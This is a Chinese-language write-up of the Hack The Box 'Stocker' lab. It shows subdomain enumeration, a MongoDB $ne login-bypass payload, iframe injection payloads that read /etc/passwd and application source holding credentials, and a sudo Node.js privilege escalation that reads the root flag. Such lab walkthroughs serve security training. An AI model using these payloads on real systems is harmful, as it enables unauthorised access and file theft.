Stocker HTB Writeup
2023-03-03 本文已影响0人
doinb1517
![](https://img.haomeiwen.com/i17790459/cd786d1f6ee36329.png)
考点
1、MongoDB注入
2、XSS
3、Sudo提权
4、子域名收集
题解
确认网络没问题,也可以和靶机ping通
![](https://img.haomeiwen.com/i17790459/54e71ac4501bec71.png)
![](https://img.haomeiwen.com/i17790459/ea0fa5b358c00a53.png)
直接nmap常规扫一波
找到两个开放端口80和22
![](https://img.haomeiwen.com/i17790459/93672bf1c54d5f26.png)
直接访问80端口,没有任何信息,得到一个域名stocker.htb
![](https://img.haomeiwen.com/i17790459/73aedc92e0004e78.png)
思路是对80端口来一波目录扫描,没有任何收获
![](https://img.haomeiwen.com/i17790459/96f718fb7d958627.png)
换个思路对我们刚才得到的域名做子域名爆破
找到一个子域名的登陆页面
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
tips:如果没有seclists可以使用下面的命令安装
cd /usr/share
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
![](https://img.haomeiwen.com/i17790459/f8f9410a00343030.png)
写入hosts文件访问登陆页面
echo 10.10.11.196 dev.stocker.htb >> /etc/hosts
访问dev.stocker.htb
看到一个登陆页面
![](https://img.haomeiwen.com/i17790459/7f519d5617090c14.png)
试了几个弱密码之后没有效果,同时在跑的子域名路径爆破也没有效果,只能找找wp康康了。。。。
Content-Type: application/json
{"username":{"$ne":"admin"}, "password":{"$ne":"pass"}}
![](https://img.haomeiwen.com/i17790459/eae3e259b6e61400.png)
这里的考点应该是Mongodb注入,后端数据库可能是Mongodb(后来我们看到确实是Mongodb)
link:https://www.mongodb.com/docs/manual/reference/operator/query/ne/
link2:https://www.secpulse.com/archives/3278.html
![](https://img.haomeiwen.com/i17790459/ad30b53957ba0171.png)
浏览器访问/stock
看到一个购买页面
![](https://img.haomeiwen.com/i17790459/f74f5f104f0b2fb0.png)
随便买几件商品,提交订单,会返回订单号,访问订单页面
![](https://img.haomeiwen.com/i17790459/9bfd84ac780f685b.png)
![](https://img.haomeiwen.com/i17790459/a3cf0792aeac5b06.png)
既然我们提交的数据会被展示出来考虑xss
![](https://img.haomeiwen.com/i17790459/14e731376b756286.png)
写入以下xxs payload,可以实现信息泄露
<iframe src=/etc/passwd></iframe>
![](https://img.haomeiwen.com/i17790459/a41c2c2c852a340a.png)
读取js文件
<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>
找到用户名和密码
username: angoose
Password: IHeardPassphrasesArePrettySecure
使用该密码登陆到ssh
![](https://img.haomeiwen.com/i17790459/e38fa1e2e46eb998.png)
查看用户
![](https://img.haomeiwen.com/i17790459/f6f7faf47f1b9214.png)
得到第一个user Flag
![](https://img.haomeiwen.com/i17790459/b77ada0a7dd1773c.png)
尝试提权,使用sudo提权
![](https://img.haomeiwen.com/i17790459/c6942e0234f2444c.png)
上网站复制一条读取文件指令 允许我们使用下面的命令,编写js代码
![](https://img.haomeiwen.com/i17790459/31b4bc458b9262a3.png)
简单修改下,我们读取的文件
process.stdout.write(require("fs").readFileSync("/root/root.txt"))
![](https://img.haomeiwen.com/i17790459/c8d5b8095f95c895.png)
获取flag成功